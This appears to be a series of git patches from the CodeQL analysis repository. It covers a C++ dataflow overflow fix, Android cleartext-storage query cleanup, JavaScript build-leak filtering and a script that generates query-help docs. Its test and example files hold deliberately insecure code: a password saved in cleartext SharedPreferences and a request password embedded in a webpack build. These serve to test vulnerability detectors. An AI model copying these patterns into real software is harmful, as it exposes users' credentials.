return null; + } + + /** + * Builder for generating a {@link MasterKey}. + */ + public static final class Builder { + /** + * Creates a builder for a {@link MasterKey} using the default alias of + * {@link #DEFAULT_MASTER_KEY_ALIAS}. + * + * @param context The context to use with this master key. + */ + public Builder(Context context) { + } + + /** + * Creates a builder for a {@link MasterKey}. + * + * @param context The context to use with this master key. + */ + public Builder(Context context, String keyAlias) { + } + + /** + * Sets a {@link KeyScheme} to be used for the master key. + * This uses a default {@link KeyGenParameterSpec} associated with the provided + * {@code KeyScheme}. + * NOTE: Either this method OR {@link #setKeyGenParameterSpec} should be used to set + * the parameters to use for building the master key. Calling either function after + * the other will throw an {@link IllegalArgumentException}. + * + * @param keyScheme The KeyScheme to use. + * @return This builder. + */ + public Builder setKeyScheme(KeyScheme keyScheme) { + return null; + } + + /** + * When used with {@link #setKeyScheme(KeyScheme)}, sets that the built master key should + * require the user to authenticate before it's unlocked, probably using the + * androidx.biometric library. + * + * This method sets the validity duration of the key to + * {@link #getDefaultAuthenticationValidityDurationSeconds()}. + * + * @param authenticationRequired Whether user authentication should be required to use + * the key. + * @return This builder. + */ + public Builder setUserAuthenticationRequired(boolean authenticationRequired) { + return null; + } + + /** + * When used with {@link #setKeyScheme(KeyScheme)}, sets that the built master key should + * require the user to authenticate before it's unlocked, probably using the + * androidx.biometric library, and that the key should remain unlocked for the provided + * duration. + * + * @param authenticationRequired Whether user authentication should be + * required to use the key. + * @param userAuthenticationValidityDurationSeconds Duration in seconds that the key + * should remain unlocked following user + * authentication. + * @return This builder. + */ + public Builder setUserAuthenticationRequired(boolean authenticationRequired, + int userAuthenticationValidityDurationSeconds) { + return null; + } + + /** + * Sets whether or not to request this key is strong box backed. This setting is only + * applicable on {@link Build.VERSION_CODES#P} and above, and only on devices that + * support Strongbox. + * + * @param requestStrongBoxBacked Whether to request to use strongbox + * @return This builder. + */ + public Builder setRequestStrongBoxBacked(boolean requestStrongBoxBacked) { + return null; + } + + /** + * Builds a {@link MasterKey} from this builder. + * + * @return The master key. + */ + public MasterKey build() throws GeneralSecurityException, IOException { + return null; + } + } +} \ No newline at end of file From 10de931b92dc566c2c9152a37027ee6c12be91e9 Mon Sep 17 00:00:00 2001 From: Jonas Jensen Date: Tue, 17 Nov 2020 09:48:32 +0100 Subject: [PATCH 0014/1241] C++: Decrease largeVariable cut-off to 100k This 10x lower cut-off has on at least one snapshot made it possible to compute AST data flow where it was infeasible before. Also fix an integer overflow that happened in practice on at least one snapshot and prevented the cut-off from being applied. --- cpp/ql/src/semmle/code/cpp/dataflow/internal/FlowVar.qll | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/dataflow/internal/FlowVar.qll b/cpp/ql/src/semmle/code/cpp/dataflow/internal/FlowVar.qll index 33a74c96718..f3aa94a7992 100644 --- a/cpp/ql/src/semmle/code/cpp/dataflow/internal/FlowVar.qll +++ b/cpp/ql/src/semmle/code/cpp/dataflow/internal/FlowVar.qll @@ -620,7 +620,8 @@ module FlowVar_internal { private predicate largeVariable(Variable v, int liveBlocks, int defs) { liveBlocks = strictcount(SubBasicBlock sbb | variableLiveInSBB(sbb, v)) and defs = strictcount(SubBasicBlock sbb | exists(TBlockVar(sbb, v))) and - liveBlocks * defs > 1000000 + // Convert to float to avoid int overflow (32-bit two's complement) + liveBlocks.(float) * defs.(float) > 100000.0 } /** From 85434ca410328469bb03f781b309002cf2e5bd05 Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Tue, 17 Nov 2020 21:20:53 +0000 Subject: [PATCH 0015/1241] Format the source code and update qldoc --- .../CWE-312/ClearTextStorageSharedPrefs.java | 36 +++++++++--------- .../CWE-312/ClearTextStorageSharedPrefs.qhelp | 4 +- .../CWE-312/ClearTextStorageSharedPrefs.ql | 2 +- .../CWE-312/ClearTextStorageSharedPrefs.java | 37 +++++++++---------- 4 files changed, 39 insertions(+), 40 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.java b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.java index 259ee23bf81..f4fbeaa230b 100644 --- a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.java +++ b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.java @@ -1,7 +1,7 @@ -public void testSetSharedPrefs(Context context, String name, String password) +public void testSetSharedPrefs(Context context, String name, String password) { - { - // BAD - save sensitive information in cleartext + { + // BAD - save sensitive information in cleartext SharedPreferences sharedPrefs = context.getSharedPreferences("user_prefs", Context.MODE_PRIVATE); Editor editor = sharedPrefs.edit(); editor.putString("name", name); @@ -9,8 +9,8 @@ public void testSetSharedPrefs(Context context, String name, String password) editor.commit(); } - { - // GOOD - save sensitive information in encrypted format + { + // GOOD - save sensitive information in encrypted format SharedPreferences sharedPrefs = context.getSharedPreferences("user_prefs", Context.MODE_PRIVATE); Editor editor = sharedPrefs.edit(); editor.putString("name", encrypt(name)); @@ -18,20 +18,20 @@ public void testSetSharedPrefs(Context context, String name, String password) editor.commit(); } - { - // GOOD - save sensitive information using the built-in `EncryptedSharedPreferences` class in androidx. - MasterKey masterKey = new MasterKey.Builder(context, MasterKey.DEFAULT_MASTER_KEY_ALIAS) - .setKeyScheme(MasterKey.KeyScheme.AES256_GCM) - .build(); + { + // GOOD - save sensitive information using the built-in `EncryptedSharedPreferences` class in androidx. + MasterKey masterKey = new MasterKey.Builder(context, MasterKey.DEFAULT_MASTER_KEY_ALIAS) + .setKeyScheme(MasterKey.KeyScheme.AES256_GCM) + .build(); - SharedPreferences sharedPreferences = EncryptedSharedPreferences.create( - context, - "secret_shared_prefs", - masterKey, - EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV, - EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM); - - SharedPreferences.Editor editor = sharedPreferences.edit(); + SharedPreferences sharedPreferences = EncryptedSharedPreferences.create( + context, + "secret_shared_prefs", + masterKey, + EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV, + EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM); + + SharedPreferences.Editor editor = sharedPreferences.edit(); editor.putString("name", name); editor.putString("password", password); editor.commit(); diff --git a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp index f040ed4132d..d06b8f7bf26 100644 --- a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp +++ b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp @@ -18,7 +18,7 @@

    - In the second and third examples, the code encrypts sensitive information before saving to the device. + In the second and third examples, the code encrypts sensitive information before saving it to the device.

    @@ -33,7 +33,7 @@ Work with data more securely
  • - PRO ANDROID DEV: + ProAndroidDev: Encrypted Preferences in Android
  • diff --git a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.ql b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.ql index 5807ea19684..20b90c5a33d 100644 --- a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.ql +++ b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.ql @@ -1,6 +1,6 @@ /** * @name Cleartext storage of sensitive information using `SharedPreferences` on Android - * @description Cleartext Storage of Sensitive Information using SharedPreferences on Android allows user with root privileges to access or unexpected exposure from chained vulnerabilities. + * @description Cleartext Storage of Sensitive Information using SharedPreferences on Android allows access for users with root privileges or unexpected exposure from chained vulnerabilities. * @kind problem * @id java/android/cleartext-storage-shared-prefs * @tags security diff --git a/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.java b/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.java index 73423a065cc..d9484b82ef4 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.java +++ b/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.java @@ -25,30 +25,29 @@ public class ClearTextStorageSharedPrefs extends Activity { editor.commit(); } - private static String encrypt(String cleartext) { - //Use an encryption or hashing algorithm in real world. The demo below just returns an arbitrary value. - String cipher = "whatever_encrypted"; - return cipher; - } + private static String encrypt(String cleartext) { + //Use an encryption or hashing algorithm in real world. The demo below just returns an arbitrary value. + String cipher = "whatever_encrypted"; + return cipher; + } // GOOD - save sensitive information using the built-in `EncryptedSharedPreferences` class in androidx. public void testSetSharedPrefs3(Context context, String name, String password) { - MasterKey masterKey = new MasterKey.Builder(context, MasterKey.DEFAULT_MASTER_KEY_ALIAS) - .setKeyScheme(MasterKey.KeyScheme.AES256_GCM) - .build(); + MasterKey masterKey = new MasterKey.Builder(context, MasterKey.DEFAULT_MASTER_KEY_ALIAS) + .setKeyScheme(MasterKey.KeyScheme.AES256_GCM) + .build(); - SharedPreferences sharedPreferences = EncryptedSharedPreferences.create( - context, - "secret_shared_prefs", - masterKey, - EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV, - EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM); - - // Use the shared preferences and editor as you normally would - SharedPreferences.Editor editor = sharedPreferences.edit(); + SharedPreferences sharedPreferences = EncryptedSharedPreferences.create( + context, + "secret_shared_prefs", + masterKey, + EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV, + EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM); + + // Use the shared preferences and editor as you normally would + SharedPreferences.Editor editor = sharedPreferences.edit(); editor.putString("name", name); editor.putString("password", password); editor.commit(); } - -} \ No newline at end of file +} From 06733eadeaad322c395836d85af7da94a422f447 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Wed, 18 Nov 2020 10:34:15 +0100 Subject: [PATCH 0016/1241] remove two unused imports --- .../security/dataflow/BuildArtifactLeakCustomizations.qll | 2 -- 1 file changed, 2 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/BuildArtifactLeakCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/BuildArtifactLeakCustomizations.qll index cf3c5a647bf..b3033eb4cd2 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/BuildArtifactLeakCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/BuildArtifactLeakCustomizations.qll @@ -4,8 +4,6 @@ */ import javascript -private import semmle.javascript.dataflow.InferredTypes -private import semmle.javascript.security.SensitiveActions::HeuristicNames /** * Sinks for storage of sensitive information in build artifact. From 64828713d6f895a2cd8a2459df4ef8566a11498c Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Wed, 18 Nov 2020 10:35:02 +0100 Subject: [PATCH 0017/1241] remove FPs in `js/build-artifact-leak` where the "leaked" properties are constrained to a safe subset --- .../CleartextLoggingCustomizations.qll | 21 ++++++++ .../Security/CWE-312/build-leaks.js | 51 +++++++++++++++++++ 2 files changed, 72 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/CleartextLoggingCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/CleartextLoggingCustomizations.qll index eea099a7a79..2e90513a892 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/CleartextLoggingCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/CleartextLoggingCustomizations.qll @@ -205,6 +205,7 @@ module CleartextLogging { | not exists(write.getPropertyName()) and not exists(read.getPropertyName()) and + not isFilteredPropertyName(read.getPropertyNameExpr().flow().getALocalSource()) and src = read.getBase() and trg = write.getBase().getALocalSource() ) @@ -217,4 +218,24 @@ module CleartextLogging { trg.asExpr() = f.getArgumentsVariable().getAnAccess() ) } + + /** + * Holds if `name` is filtered by e.g. a regular-expression test or a filter call. + */ + private predicate isFilteredPropertyName(DataFlow::Node name) { + exists(DataFlow::MethodCallNode reduceCall | + reduceCall.getABoundCallbackParameter(0, 1).flowsTo(name) and + reduceCall.getMethodName() = "reduce" + | + reduceCall.getReceiver+().(DataFlow::MethodCallNode).getMethodName() = "filter" + ) + or + exists(StringOps::RegExpTest test | + test.getStringOperand().getALocalSource() = name.getALocalSource() + ) + or + exists(MembershipCandidate test | + test.getAMemberNode().getALocalSource() = name.getALocalSource() + ) + } } diff --git a/javascript/ql/test/query-tests/Security/CWE-312/build-leaks.js b/javascript/ql/test/query-tests/Security/CWE-312/build-leaks.js index 6fce0e77622..ed18cf07e56 100644 --- a/javascript/ql/test/query-tests/Security/CWE-312/build-leaks.js +++ b/javascript/ql/test/query-tests/Security/CWE-312/build-leaks.js @@ -40,3 +40,54 @@ var server = https.createServer(function (req, res) { let pw = url.parse(req.url, true).query.current_password; var plugin = new webpack.DefinePlugin({ "process.env.secret": JSON.stringify(pw) }); // NOT OK }); + +(function () { + const REACT_APP = /^REACT_APP_/i; + + function getOnlyReactVariables() { + const raw = Object.keys(process.env) + .filter(key => REACT_APP.test(key)) // This filters makes it safe. + .reduce( + (env, key) => { + env[key] = process.env[key]; + return env; + }, + {} + ); + return raw; + } + + new webpack.DefinePlugin(getOnlyReactVariables()); // OK + + function getOnlyReactVariables2() { + const raw = Object.keys(process.env) + .reduce( + (env, key) => { + if (REACT_APP.test(key)) { + env[key] = process.env[key]; + } + return env; + }, + {} + ); + return raw; + } + + new webpack.DefinePlugin(getOnlyReactVariables2()); // OK + + function getOnlyReactVariables3() { + const raw = Object.keys(process.env) + .reduce( + (env, key) => { + if (key == ["1", "2", "3"]) { + env[key] = process.env[key]; + } + return env; + }, + {} + ); + return raw; + } + + new webpack.DefinePlugin(getOnlyReactVariables3()); // OK +})(); \ No newline at end of file From 710e675b17935076d9d3fb8d7ae66d24244a931d Mon Sep 17 00:00:00 2001 From: james Date: Mon, 5 Oct 2020 16:27:32 +0100 Subject: [PATCH 0018/1241] add script to generate query help --- docs/language/query-help-markdown.py | 192 +++++++++++++++++++++++++++ 1 file changed, 192 insertions(+) create mode 100644 docs/language/query-help-markdown.py diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py new file mode 100644 index 00000000000..6deb12747c9 --- /dev/null +++ b/docs/language/query-help-markdown.py @@ -0,0 +1,192 @@ +import re +import subprocess +import json +import csv +import sys +import os + +# Define which languages and query packs to consider +languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] + +# Running generate query-help with "security-and-quality.qls" generates errors, so just use these two suites for now +packs = [ "code-scanning", "security-extended" ] + +def prefix_repo_nwo(filename): + """ + Replaces an absolute path prefix with a GitHub repository name with owner (NWO). + This function relies on `git` being available. + For example: + /home/alice/git/ql/java/ql/src/MyQuery.ql + becomes: + github/codeql/java/ql/src/MyQuery.ql + + If we can't detect a known NWO (e.g. github/codeql, github/codeql-go), the + path will be truncated to the root of the git repo: + ql/java/ql/src/MyQuery.ql + + If the filename is not part of a Git repo, the return value is the + same as the input value: the whole path. + """ + dirname = os.path.dirname(filename) + + try: + git_toplevel_dir_subp = subprocess_run(["git", "-C", dirname, "rev-parse", "--show-toplevel"]) + except: + # Not a Git repo + return filename + + git_toplevel_dir = git_toplevel_dir_subp.stdout.strip() + + # Detect 'github/codeql' and 'github/codeql-go' repositories by checking the remote (it's a bit + # of a hack but will work in most cases, as long as the remotes have 'codeql' and 'codeql-go' + # in the URL + git_remotes = subprocess_run(["git","-C",dirname,"remote","-v"]).stdout.strip() + + if "codeql-go" in git_remotes: prefix = "github/codeql-go" + elif "codeql" in git_remotes: prefix = "github/codeql" + else: prefix = os.path.basename(git_toplevel_dir) + + return os.path.join(prefix, filename[len(git_toplevel_dir)+1:]) + + +def single_spaces(input): + """ + Workaround for https://github.com/github/codeql-coreql-team/issues/470 which causes + some metadata strings to contain newlines and spaces without a good reason. + """ + return " ".join(input.split()) + + +def get_query_metadata(key, metadata, queryfile): + """Returns query metadata or prints a warning to stderr if a particular piece of metadata is not available.""" + if key in metadata: return single_spaces(metadata[key]) + query_id = metadata['id'] if 'id' in metadata else 'unknown' + print("Warning: no '%s' metadata for query with ID '%s' (%s)" % (key, query_id, queryfile), file=sys.stderr) + return "" + + +def subprocess_run(cmd): + """Runs a command through subprocess.run, with a few tweaks. Raises an Exception if exit code != 0.""" + return subprocess.run(cmd, capture_output=True, text=True, env=os.environ.copy(), check=True) + +try: # Check for `git` on path + subprocess_run(["git","--version"]) +except Exception as e: + print("Error: couldn't invoke 'git'. Is it on the path? Aborting.", file=sys.stderr) + raise e + +try: # Check for `codeql` on path + subprocess_run(["codeql","--version"]) +except Exception as e: + print("Error: couldn't invoke CodeQL CLI 'codeql'. Is it on the path? Aborting.", file=sys.stderr) + raise e + +# Define CodeQL search path so it'll find the CodeQL repositories: +# - anywhere in the current Git clone (including current working directory) +# - the 'codeql' subdirectory of the cwd +# +# (and assumes the codeql-go repo is in a similar location) + +#codeql_search_path = "./ql" or "./codeql-go" # will be extended further down + +# Extend CodeQL search path by detecting root of the current Git repo (if any). This means that you +# can run this script from any location within the CodeQL git repository. +try: + git_toplevel_dir = subprocess_run(["git","rev-parse","--show-toplevel"]) + + # Current working directory is in a Git repo. Add it to the search path, just in case it's the CodeQL repo + #git_toplevel_dir = git_toplevel_dir.stdout.strip() + #codeql_search_path += ":" + git_toplevel_dir + ":" + git_toplevel_dir + "/../codeql-go" + codeql_search_path = git_toplevel_dir = git_toplevel_dir.stdout.strip() +except: + # git rev-parse --show-toplevel exited with non-zero exit code. We're not in a Git repo + pass + +# Iterate over all languages and packs, and resolve which queries are part of those packs +for lang in languages: + + # Define empty dictionary to store @name:filename pairs to generate alphabetically sorted Sphinx toctree + index_file_dictionary = {} + for pack in packs: + # Get absolute paths to queries in this pack by using 'codeql resolve queries' + try: + queries_subp = subprocess_run(["codeql","resolve","queries","--search-path", codeql_search_path, "%s-%s.qls" % (lang, pack)]) + except Exception as e: + # Resolving queries might go wrong if the github/codeql and github/codeql-go repositories are not + # on the search path. + print( + "Warning: couldn't find query pack '%s' for language '%s'. Do you have the right repositories in the right places (search path: '%s')?" % (pack, lang, codeql_search_path), + file=sys.stderr + ) + continue + + # Define empty dictionary to store @name:filename pairs to generate alphabetically sorted Sphinx toctree later + index_file_dictionary = {} + + # Investigate metadata for every query by using 'codeql resolve metadata' + for queryfile in queries_subp.stdout.strip().split("\n"): + query_metadata_json = subprocess_run(["codeql","resolve","metadata",queryfile]).stdout.strip() + meta = json.loads(query_metadata_json) + + # Turn an absolute path to a query file into an nwo-prefixed path (e.g. github/codeql/java/ql/src/....) + queryfile_nwo = prefix_repo_nwo(queryfile) + + # Generate the query help for each query + query_help = subprocess_run(["codeql","generate","query-help","--format=markdown","--warnings=hide",queryfile]).stdout.strip() + + # Pull out relevant query metadata properties that we want to display in the query help + query_name_meta = get_query_metadata('name', meta, queryfile) + query_description = get_query_metadata('description', meta, queryfile) + query_id = "ID: " + get_query_metadata('id', meta, queryfile) + "\n" + query_kind = "Kind: " + get_query_metadata('kind', meta, queryfile) + "\n" + query_severity = "Severity: " + get_query_metadata('problem.severity', meta, queryfile) + "\n" + query_precision = "Precision: " + get_query_metadata('precision', meta, queryfile) + "\n" + query_tags = "Tags: " + get_query_metadata('tags', meta, queryfile) + "\n" + + # Build a link to the query source file for display in the query help + if "go" in prefix_repo_nwo(queryfile): + transform_link = prefix_repo_nwo(queryfile).replace("codeql-go", "codeql-go/tree/main").replace(" ", "%20").replace("\\","/") + else: + transform_link = prefix_repo_nwo(queryfile).replace("codeql", "codeql/tree/main").replace(" ", "%20").replace("\\","/") + query_link = "[Click to see the query in the CodeQL repository](https://github.com/" + transform_link + ")\n" + + # Join metadata into a literal block and add query link below + meta_string = "\n"*2 + "```\n" + query_id + query_kind + query_severity + query_precision + query_tags + "\n" + "```\n" + query_link + "\n" + + # Insert metadata block into query help directly under title + full_help = query_help.replace("\n", meta_string, 1) + + # Basename of query, used to make markdown output filepath + query_name = os.path.split(queryfile_nwo)[1][:-3] + + # Populate index_file_dictionary with @name extracted from metadata and corresponding query filename + index_file_dictionary[query_name_meta] = lang + "/" + query_name + + # Make paths for output of the form: query-help-markdown//.md + docs_dir = 'query-help' + md_dir_path = os.path.join(docs_dir, lang) + md_file_path = os.path.join(md_dir_path, query_name + ".md") + + # Make directories for output paths they don't already exist + if not os.path.isdir(md_dir_path): + os.makedirs(md_dir_path) + + # Generate query help at chosen path if output file doesn't already exist + if not os.path.exists(md_file_path): + file = open(md_file_path, "x") + file.write(full_help) + file.close() + + # Sort index_file_dictionary alphabetically by @name key, and create column of filename values + sorted_index = dict(sorted(index_file_dictionary.items())) + sorted_index = ("\n" + " ").join(sorted_index.values()) + + # Add directives to make sorted_index a valid toctree for sphinx source files + toc_directive = ".. toctree::\n :titlesonly:\n\n " + toc_include = toc_directive + sorted_index + + # Write toctree to rst + toc_file = os.path.join(docs_dir, "toc-" + lang + ".rst") + file = open(toc_file, "x") + file.write(toc_include) + file.close() \ No newline at end of file From 6667b58b2c69f2dad6ab56a40d2ac5b66abfced6 Mon Sep 17 00:00:00 2001 From: james Date: Mon, 5 Oct 2020 16:33:09 +0100 Subject: [PATCH 0019/1241] make new sphinx project for query help --- docs/language/query-help/conf.py | 85 +++++++ docs/language/query-help/cpp.rst | 5 + docs/language/query-help/cpp/AllocaInLoop.md | 53 +++++ .../query-help/cpp/ArithmeticUncontrolled.md | 50 +++++ .../query-help/cpp/AuthenticationBypass.md | 61 ++++++ .../cpp/BadAdditionOverflowCheck.md | 46 ++++ .../query-help/cpp/BadlyBoundedWrite.md | 42 ++++ .../query-help/cpp/BrokenCryptoAlgorithm.md | 46 ++++ .../cpp/CastArrayPointerArithmetic.md | 48 ++++ docs/language/query-help/cpp/CgiXss.md | 54 +++++ .../query-help/cpp/CleartextBufferWrite.md | 45 ++++ .../query-help/cpp/CleartextFileWrite.md | 45 ++++ .../query-help/cpp/CleartextSqliteDatabase.md | 67 ++++++ .../query-help/cpp/ComparisonWithWiderType.md | 63 ++++++ .../cpp/DangerousFunctionOverflow.md | 56 +++++ .../query-help/cpp/DangerousUseOfCin.md | 47 ++++ .../cpp/DoNotCreateWorldWritable.md | 45 ++++ .../cpp/HResultBooleanConversion.md | 42 ++++ .../cpp/IncorrectNotOperatorUsage.md | 55 +++++ .../query-help/cpp/IncorrectPointerScaling.md | 43 ++++ .../cpp/IncorrectPointerScalingVoid.md | 44 ++++ docs/language/query-help/cpp/IntMultToLong.md | 40 ++++ .../query-help/cpp/NewFreeMismatch.md | 34 +++ .../cpp/NoSpaceForZeroTerminator.md | 43 ++++ .../query-help/cpp/NonConstantFormat.md | 109 +++++++++ .../cpp/OffsetUseBeforeRangeCheck.md | 58 +++++ .../query-help/cpp/OpenSslHeartbleed.md | 60 +++++ .../language/query-help/cpp/OverflowStatic.md | 41 ++++ docs/language/query-help/cpp/OverrunWrite.md | 45 ++++ .../query-help/cpp/OverrunWriteFloat.md | 45 ++++ .../query-help/cpp/PointerOverflow.md | 45 ++++ .../cpp/PotentiallyDangerousFunction.md | 50 +++++ .../query-help/cpp/SignedOverflowCheck.md | 70 ++++++ docs/language/query-help/cpp/SizeCheck.md | 40 ++++ docs/language/query-help/cpp/SizeCheck2.md | 41 ++++ .../query-help/cpp/SnprintfOverflow.md | 66 ++++++ docs/language/query-help/cpp/SqlTainted.md | 43 ++++ .../query-help/cpp/StrncpyFlippedArgs.md | 34 +++ .../query-help/cpp/SuspiciousAddWithSizeof.md | 43 ++++ .../query-help/cpp/SuspiciousCallToStrncat.md | 36 +++ .../query-help/cpp/SuspiciousSizeof.md | 32 +++ .../query-help/cpp/TOCTOUFilesystemRace.md | 74 +++++++ .../query-help/cpp/TaintedAllocationSize.md | 41 ++++ .../query-help/cpp/TaintedCondition.md | 45 ++++ docs/language/query-help/cpp/TaintedPath.md | 61 ++++++ .../query-help/cpp/TooFewArguments.md | 42 ++++ .../language/query-help/cpp/UnboundedWrite.md | 42 ++++ .../cpp/UncontrolledFormatString.md | 45 ++++ ...ncontrolledFormatStringThroughGlobalVar.md | 56 +++++ .../cpp/UncontrolledProcessOperation.md | 46 ++++ .../query-help/cpp/UninitializedLocal.md | 61 ++++++ .../query-help/cpp/UnsafeCreateProcessCall.md | 53 +++++ .../cpp/UnsafeDaclSecurityDescriptor.md | 52 +++++ .../query-help/cpp/UnsafeUseOfStrcat.md | 43 ++++ .../query-help/cpp/UnterminatedVarargsCall.md | 59 +++++ .../query-help/cpp/WcharCharConversion.md | 41 ++++ .../cpp/WrongNumberOfFormatArguments.md | 36 +++ .../cpp/WrongTypeFormatArguments.md | 34 +++ docs/language/query-help/csharp.rst | 4 + .../language/query-help/csharp/ASPNetDebug.md | 56 +++++ .../csharp/ASPNetDirectoryListing.md | 48 ++++ .../query-help/csharp/AbandonSession.md | 52 +++++ .../csharp/AssemblyPathInjection.md | 71 ++++++ .../query-help/csharp/CleartextStorage.md | 64 ++++++ .../query-help/csharp/CodeInjection.md | 75 +++++++ .../query-help/csharp/CommandInjection.md | 45 ++++ .../query-help/csharp/ConditionalBypass.md | 54 +++++ .../csharp/CookieWithOverlyBroadDomain.md | 55 +++++ .../csharp/CookieWithOverlyBroadPath.md | 52 +++++ .../query-help/csharp/DeserializedDelegate.md | 44 ++++ .../EmptyPasswordInConfigurationFile.md | 22 ++ .../query-help/csharp/Encryption using ECB.md | 22 ++ .../csharp/ExceptionInformationExposure.md | 65 ++++++ .../csharp/ExposureInTransmittedData.md | 66 ++++++ .../csharp/ExposureOfPrivateInformation.md | 44 ++++ .../csharp/HardcodedConnectionString.md | 78 +++++++ .../query-help/csharp/HardcodedCredentials.md | 78 +++++++ .../csharp/HeaderCheckingDisabled.md | 22 ++ .../query-help/csharp/InadequateRSAPadding.md | 23 ++ .../query-help/csharp/InsecureRandomness.md | 66 ++++++ .../csharp/InsecureSQLConnection.md | 50 +++++ .../query-help/csharp/InsufficientKeySize.md | 22 ++ .../query-help/csharp/LDAPInjection.md | 85 +++++++ .../csharp/LocalUnvalidatedArithmetic.md | 66 ++++++ docs/language/query-help/csharp/LogForging.md | 54 +++++ .../csharp/MissingASPNETGlobalErrorHandler.md | 71 ++++++ .../MissingAntiForgeryTokenValidation.md | 54 +++++ .../query-help/csharp/MissingXFrameOptions.md | 56 +++++ .../query-help/csharp/MissingXMLValidation.md | 72 ++++++ .../csharp/PasswordInConfigurationFile.md | 23 ++ .../query-help/csharp/PersistentCookie.md | 21 ++ docs/language/query-help/csharp/ReDoS.md | 57 +++++ .../query-help/csharp/RegexInjection.md | 56 +++++ docs/language/query-help/csharp/RequireSSL.md | 46 ++++ .../query-help/csharp/ResourceInjection.md | 59 +++++ .../query-help/csharp/RuntimeChecksBypass.md | 83 +++++++ .../csharp/SecondOrderSqlInjection.md | 86 ++++++++ .../query-help/csharp/SqlInjection.md | 86 ++++++++ .../csharp/StoredCommandInjection.md | 45 ++++ .../query-help/csharp/StoredLDAPInjection.md | 85 +++++++ .../query-help/csharp/StoredXPathInjection.md | 64 ++++++ docs/language/query-help/csharp/StoredXSS.md | 43 ++++ .../language/query-help/csharp/TaintedPath.md | 61 ++++++ .../csharp/ThreadUnsafeICryptoTransform.md | 132 +++++++++++ .../ThreadUnsafeICryptoTransformLambda.md | 96 ++++++++ .../csharp/UncontrolledFormatString.md | 47 ++++ .../UnsafeDeserializationUntrustedInput.md | 60 +++++ .../csharp/UntrustedDataInsecureXml.md | 45 ++++ .../language/query-help/csharp/UrlRedirect.md | 50 +++++ .../query-help/csharp/UseOfFileUpload.md | 27 +++ .../query-help/csharp/ValueShadowing.md | 53 +++++ .../csharp/ValueShadowingServerVariable.md | 52 +++++ .../query-help/csharp/WeakEncryption.md | 45 ++++ .../query-help/csharp/XMLInjection.md | 83 +++++++ .../query-help/csharp/XPathInjection.md | 64 ++++++ docs/language/query-help/csharp/XSS.md | 43 ++++ docs/language/query-help/csharp/ZipSlip.md | 78 +++++++ docs/language/query-help/go.rst | 4 + .../query-help/go/AllocationSizeOverflow.md | 78 +++++++ .../query-help/go/BadRedirectCheck.md | 52 +++++ .../query-help/go/CleartextLogging.md | 81 +++++++ .../query-help/go/CommandInjection.md | 46 ++++ .../query-help/go/ConstantOauth2State.md | 96 ++++++++ .../query-help/go/DisabledCertificateCheck.md | 48 ++++ docs/language/query-help/go/EmailInjection.md | 66 ++++++ .../query-help/go/HardcodedCredentials.md | 56 +++++ .../query-help/go/IncompleteHostnameRegexp.md | 75 +++++++ .../query-help/go/IncompleteUrlSchemeCheck.md | 60 +++++ .../go/IncorrectIntegerConversion.md | 207 ++++++++++++++++++ .../query-help/go/InsecureHostKeyCallback.md | 87 ++++++++ docs/language/query-help/go/InsecureTLS.md | 84 +++++++ .../query-help/go/MissingRegexpAnchor.md | 75 +++++++ .../language/query-help/go/OpenUrlRedirect.md | 71 ++++++ docs/language/query-help/go/ReflectedXss.md | 82 +++++++ docs/language/query-help/go/RequestForgery.md | 81 +++++++ docs/language/query-help/go/SqlInjection.md | 62 ++++++ docs/language/query-help/go/StringBreak.md | 72 ++++++ docs/language/query-help/go/TaintedPath.md | 61 ++++++ docs/language/query-help/go/XPathInjection.md | 65 ++++++ docs/language/query-help/go/ZipSlip.md | 78 +++++++ docs/language/query-help/index.rst | 19 ++ docs/language/query-help/java.rst | 4 + .../query-help/java/ArithmeticTainted.md | 64 ++++++ .../query-help/java/ArithmeticUncontrolled.md | 54 +++++ .../query-help/java/BrokenCryptoAlgorithm.md | 44 ++++ .../query-help/java/CleartextStorageCookie.md | 62 ++++++ .../java/CleartextStorageProperties.md | 62 ++++++ .../java/ComparisonWithWiderType.md | 68 ++++++ .../query-help/java/ConditionalBypass.md | 54 +++++ docs/language/query-help/java/ExecRelative.md | 41 ++++ 